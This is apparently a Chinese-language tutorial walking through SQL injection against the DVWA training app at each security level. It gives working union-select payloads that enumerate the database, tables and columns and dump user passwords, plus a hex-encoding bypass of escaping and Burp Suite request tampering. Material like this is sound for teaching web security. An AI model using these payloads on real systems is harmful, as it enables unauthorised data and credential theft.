DVWA-SQL注入
一、SQL注入概念
SQL注入是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。
二、手工注入常規思路
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定回顯位置
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.得到數據
三、DVWA注入分析
將DVWA的級別設置為low
1.分析源碼,可以看到沒有對參數做任何的過濾,直接帶入數據庫進行查詢,分析sql查詢語句,可能存在字符型sql注入。
2.判斷sql是否存在存入,以及注入的類型
1' and '1'='1
3.猜解SQL查詢語句中的字段數
3.1 1' order by 2#
3.2 1' order by 3#
3.3從上面兩個圖可以說明,SQL語句查詢的表的字段數是2
4.確定顯示的位置(SQL語句查詢之后的回顯位置)
1' union select 1,2# #下圖可以看出有2個回顯
5.查詢當前的數據庫,以及版本
1' union select version(),database()#
6.獲取數據庫中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
7.獲取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
8.獲得字段中的數據
1' union select user,password from users#
將DVWA的級別設置為Medium
1.下圖可以看到中級加入了一些防御,不讓用戶輸入,只提供選擇(可以用burpsuit抓包來繞過),分析源碼可以看到對參數使用mysql_real_escape_string函數轉義sql語句中的一些特殊字符,查看sql查詢語句可以看出可能存在數字型sql注入
2.通過burpsuit抓包,修改數據包,繞過防御
2.1判斷注入點,以及注入的類型,下圖可以看到,存在注入,注入類型是數字型注入
2.2猜解sql查詢語句中的字段的個數,下圖說明字段的個數為2
2.3.確定回顯的位置,下圖可以說明有2個回顯位置
1 union select 1,2#
2.4.獲取當前數據庫的名稱以及版本
1 union select database(),version()#
2.5獲取數據庫中的所有表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.6獲取表中的所有字段名
考慮到單引號被轉義,可以利用 16 進制進行繞過
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
2.7獲取字段中的數據
1 union select user,password from users#
將DVWA的級別設置為High
1.將dvwa設置為高級,可以看出,點擊”here to change your ID”,頁面自動跳轉,防御了自動化的SQL注入,分析源碼可以看到,對參數沒有做防御,在sql查詢語句中限制了查詢條數,可以通過burpsuit抓包,修改數據包實現繞過
2.2獲得密碼
將DVWA的級別設置為Impossible
1.分析源碼可以看到使用了PDO技術,杜絕了SQL注入